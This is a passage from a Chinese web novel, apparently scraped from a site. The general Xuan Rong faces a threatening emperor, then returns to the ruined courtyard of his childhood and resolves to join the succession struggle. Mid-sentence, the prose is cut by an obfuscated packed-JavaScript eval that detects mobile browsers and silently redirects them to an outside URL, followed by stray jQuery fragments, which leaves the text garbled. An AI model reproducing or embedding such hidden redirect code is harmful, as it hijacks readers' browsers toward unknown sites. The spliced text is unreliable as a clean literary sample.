翌日,乾元殿。殿内熏着龙涎香,暖意融融,金砖墁地,光可鉴人。巨大的蟠龙金柱撑起藻井,绘着繁复的祥云仙鹤。
燕帝高踞于御座之上,身着褚黄龙袍,面容较十年前更显苍老松弛,眼袋浮肿,唯有那双眼睛,依旧带着帝王惯有的审视与威压,只是那威压深处,似乎也沉淀了一层倦怠与暮气。
玄戎一身玄甲未卸,跪于御阶之下,甲胄的冰冷与坚硬,与这奢靡温暖的环境形成刺目的反差。
他垂首,声音沉肃,条理分明地禀报着北境军情、十年战功、边关布防,以及下一步对楚国发动致命一击的战略构想。每一个字都清晰,冷静,不带丝毫邀功请赏的意味,只是纯粹的军事禀告。
殿内侍立的几位重臣,如老迈的丞相、掌管户部的尚书,听着那一个个惊心动魄的战役名称和斩获数目,脸上都不由自主地流露出惊叹之色,彼此交换着复杂的眼神。
然而御座上的燕帝,自始至终,神色淡漠。他一手支着下颌,一手随意地把玩着一枚白玉扳指,目光似乎落在玄戎身上,又似乎穿透了他,落在某个虚空之处。
当玄戎提到深入楚国腹地、直捣王庭的冒险计划时,燕帝才抬了抬眼皮,目光里没有任何赞许或担忧,只有一种事不关己的漠然,和对楚国的厌烦。
“嗯。”燕帝哼出一个模糊的音节,打断了玄戎的陈述。他坐直身体,那双锐利的眼睛,盯在阶下跪着的玄戎身上,是居高临下的、审视工具般的冷酷。
“听着,玄戎。”他的声音不高,却不可违抗,“朕不管你用什么法子,死多少人。朕只要结果——赢!踏平楚国王庭,让那些蛮子永世记住,冒犯我大燕天威的下场!”
他顿了顿,嘴角勾起冷笑,仿佛碾死一只蚂蚁:“若是败了……你,提头来见。连同你那颗脑袋,一起给朕挂在边关的城楼上,以儆效尤!”
字字如刀,扎向殿中每一个人的耳膜。几位大臣的头垂得更低了,殿内落针可闻。
玄戎依旧维持着跪地的姿势,头颅低垂。宽大的肩甲掩盖了他身体任何细微的颤动。
只有他自己知道,在听到“提头来见”那四个字的瞬间,没有愤怒,没有委屈,没有恐惧,只有一片彻骨的寒凉。
刻薄寡恩?呵,这已是他这位父皇能给予的,最符合其本性的恩典了。他之于皇帝,从来只是一把需要时染血、用钝即弃的刀。
玄戎的声音响起,平稳得如同北境亘古不变的冻土,是麻木的恭顺:“末将,谨遵圣命。此战,必胜。若败,臣自当提头,悬于边关,以谢陛下天恩。”
“天恩”二字从他口中说出,却像寒风刮过金砖地面。皇帝似乎并未察觉,或者说毫不在意,只是挥了挥手,像驱赶一只嗡嗡叫的苍蝇:“行了,下去吧。兵部、户部,全力配合将军所需。朕,只看结果。”
“末将告退。”玄戎叩首,动作利落干脆。起身,转身,玄甲铿锵,一步步退出这金碧辉煌却残酷无情的乾元殿。
殿门在他身后合拢,隔绝了那令人作呕的龙涎香和冰冷彻骨的帝王威压。殿外的寒风卷着细雪扑面而来,竟让他感到久违的、带着刺痛的真实。
他没有走向宫门,也没有回礼宾院。脚步循着深埋心底的记忆,在错综复杂的宫道里穿行。
越往深处,宫墙越高,守卫越少,空气也愈发阴冷。绕过几处早已荒废、野草丛生的偏殿,眼前豁然出现一片被遗忘的角落。
梧桐苑,院墙比记忆中更加倾颓,大片的墙皮剥落,爬满了深冬枯死的藤蔓,那扇曾经吱呀作响的破旧木门,如今半扇已经腐朽坍塌,斜斜地倚在门框上,另一扇也摇摇欲坠,被厚厚的蛛网尘封。
院子里,几株枯死的梧桐树扭曲着枝桠,伸向灰蒙蒙的天空,落叶覆盖了荒芜的庭院。这里,比边关最荒凉的哨所,更令人心头发冷。
玄戎高大的身影停驻在坍塌的院门前,他静静地站了片刻,仿佛在确认,眼前这片废墟,就是曾经囚禁了他和母亲整整十年的地方,那个被称为“家”的囚笼。
他抬步,跨过腐朽的门槛,每一步,都像是踏在早已结痂又被生生撕开的伤口上。他无视了正屋那黑洞洞的破败门窗,径直走向记忆中,母亲生前最常坐的那个窗下台阶。
台阶早已被厚厚的落叶覆盖,石缝里钻出枯黄的杂草。玄戎没有拂去落叶,只是如同卸下千斤重担般,缓缓坐了下去。寒意透过战甲和里衣,侵入骨髓。
他抬起头,目光穿过枯死的梧桐枝桠,望向那片被宫墙切割得支离破碎的天空。
十年生死,十年浴血。边关的风沙磨硬了他的骨头,战场的鲜血染红了他的战袍,累累功勋铸就了他北境阎罗的凶名。可坐在这片埋葬了他所有童年温暖与母亲血泪的废墟之上,他仿佛又变回了那个衣衫褴褛、在欺凌与冷眼中沉默隐忍的野种嘉熙
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17935911|213713||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
。
御书房里皇帝那句“提头来见”的冷酷话语,与记忆中母亲临终前枯槁的容颜、绝望的泪眼、那句泣血的出人头地嘱托……无数画面在眼前交替碰撞,几乎要冲破那层用十年铁血浇铸的坚硬外壳。
他闭上眼,放在膝上的手,不自觉地紧握成拳,玄铁护臂发出金属摩擦声。
就在这情绪即将失控的边缘,他的指尖无意中触碰到了台阶缝隙里一块凸起的硬物。他下意识地拨开枯叶,看到一块边缘粗糙的石子。
时间仿佛在这一刻倒流。
眼前不再是衰败的废墟和阴霾的天空。恍惚间,他仿佛又看到了那个午后,宫墙的阴影里,那枚躺在枯叶中、流转着幽光的墨玉棋子。
看到了母亲发现棋子时那剧烈颤抖的手,听到了她泣血般的那句“雷霆雨露,俱是天恩”……那枚棋子,是太傅给他黑暗童年开启的一扇窗,是智慧与希望的微光。
十年了,那枚墨玉棋子始终贴身藏在他胸前甲胄之内,紧贴着心口的位置。此刻,隔着玄铁,他似乎能感受到那熟悉的轮廓,以及随之而来的、刻骨铭心的痛楚与不甘。
指尖的粗糙石子,与记忆中墨玉棋子的温润触感,在灵魂深处猛烈碰撞!
玄戎眸底翻涌的悲怆与暴戾,迅速敛去,所有的软弱、所有的动摇,都在这一刻被彻底粉碎。
他看着掌心那块不起眼的石子,指腹摩挲过它粗粝的表面,坚硬的棱角硌得皮肉生疼。
唇角浮现一瞬冷笑。不再是自嘲,而是掌控命运的宣告。
低沉的声音在废墟中响起,带着金戈铁马的铮鸣:“母亲,您看着。这深宫,这天下,这盘以血肉为子、以江山为枰的夺嫡棋局……”
他站起身,玄甲上的落叶簌簌落下。高大的身影立于荒芜的庭院中央,如同浴血的战神自幽冥归来。那双深邃的眼眸,穿透破败的院墙,望向那象征着无上权力的宫阙深处,冷漠无情。
“终于,轮到我玄戎,落子了。”
话音落下的瞬间,一阵寒风卷起地上枯叶,打着旋儿扑向那株枯死的梧桐,发出阵阵呼啸,仿佛在回应着这不甘的誓言。
他摊开手掌,那枚粗糙的石子躺在掌心。他凝视片刻,然后猛地收拢五指,将石子紧紧攥住,仿佛握住了整个棋局的命脉。
玄甲铿锵,他踏出这片埋葬过去的废墟,走向那必然掀起腥风血雨的权力漩涡。